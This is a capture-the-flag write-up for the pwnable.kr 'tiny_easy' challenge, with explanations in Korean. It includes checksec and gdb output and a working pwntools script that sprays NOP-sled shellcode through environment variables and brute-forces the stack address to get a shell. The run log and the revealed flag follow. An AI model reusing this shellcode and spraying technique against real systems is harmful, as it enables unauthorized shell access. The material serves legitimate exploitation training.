Description
I made a pretty difficult pwn task. However I also made a dumb rookie mistake and made it too easy :( This is based on real event :) enjoy. ssh [email protected] -p2222 (pw:guest)
checksec
tiny_easy@ubuntu:~$ checksec ./tiny_easy
[*] '/home/tiny_easy/tiny_easy'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
Decompiled src

Analysis
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────── registers ────
$eax : 0x1
$ebx : 0x0
$ecx : 0x0
$edx : 0x6d6f682f ("/hom"?)
$esp : 0xffffd6b4 → 0x0804805a → add BYTE PTR [eax], al
$ebp : 0x0
$esi : 0x0
$edi : 0x0
$eip : 0x6d6f682f ("/hom"?)
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x00
───────────────────────────────────────────────────────────────────────── stack ────
0xffffd6b4│+0x0000: 0x0804805a → add BYTE PTR [eax], al ← $esp
0xffffd6b8│+0x0004: 0x00000000
0xffffd6bc│+0x0008: 0xffffd81d → "SHELL=/bin/bash"
0xffffd6c0│+0x000c: 0xffffd82d → "HOSTNAME=2d0f4d9a440c"
0xffffd6c4│+0x0010: 0xffffd843 → "PWD=/home/ubuntu/pwnable.kr/tiny_easy"
0xffffd6c8│+0x0014: 0xffffd869 → "LOGNAME=ubuntu"
0xffffd6cc│+0x0018: 0xffffd878 → "_=/usr/bin/gdb"
0xffffd6d0│+0x001c: 0xffffd887 → "LINES=66"
─────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x6d6f682f
─────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "tiny_easy", stopped 0x6d6f682f in ?? (), reason: SIGSEGV
───────────────────────────────────────────────────────────────────────── trace ────
────────────────────────────────────────────────────────────────────────────────────
gef➤
그냥 단순히 실행시켰을때, LOAD:08048058 call edx 에서
edx를 호출하는 주소가 0x6d6f682f, 유효하지 않은 실행주소여서 크래시가 발생한다.
checksec에서 확인해봤을때, 모든 보호기법이 꺼져있기 때문에 스택에 쉘코드를 넣어 실행시킬 수 있다.
따라서 환경변수 주소를 유추해서 nop sled가 있는 쉘코드를 넣어서 쉘을 얻을 때까지 계속 실행시키면 된다.
solve.py
from pwn import *
# context.log_level = 'debug'
context(arch='i386', os='linux')
warnings.filterwarnings( 'ignore' )
# setregid(getegid(), getegid());
# execve("/bin//sh", {"/bin//sh", NULL}, NULL)
shellcode = b'\x31\xc0\xb0\x32\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x47\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'
payload = b"\x90"*1000 + shellcode
arg = [p32(0xffab2d40)]
_env = {}
for i in range(1000):
_env[str(i)] = payload
# p = process("./tiny_easy")
for i in range(1000):
p = process(executable = "/home/tiny_easy/tiny_easy", argv=arg, env=_env)
try:
p.sendline(b"id")
p.recvline()
except:
print(f"try: {str(i)}")
continue
p.interactive()
Result
tiny_easy@ubuntu:~$ mkdir -p /tmp/w4_tiny_easy tiny_easy@ubuntu:~$ cd /tmp/w4_tiny_easy tiny_easy@ubuntu:/tmp/w4_tiny_easy$ nano solve.py tiny_easy@ubuntu:/tmp/w4_tiny_easy$ python3 solve.py [+] Starting local process '/home/tiny_easy/tiny_easy': pid 1934062 try: 0 [+] Starting local process '/home/tiny_easy/tiny_easy': pid 1934111 try: 1 [+] Starting local process '/home/tiny_easy/tiny_easy': pid 1934137 try: 2 [+] Starting local process '/home/tiny_easy/tiny_easy': pid 1934200 try: 3 [+] Starting local process '/home/tiny_easy/tiny_easy': pid 1934352 try: 4 [+] Starting local process '/home/tiny_easy/tiny_easy': pid 1934381 try: 5 [+] Starting local process '/home/tiny_easy/tiny_easy': pid 1934412 [*] Switching to interactive mode $ ls solve.py tiny_easy $ cat /home/tiny_easy/flag Such_a_tiny_task:_Great_job_done_here!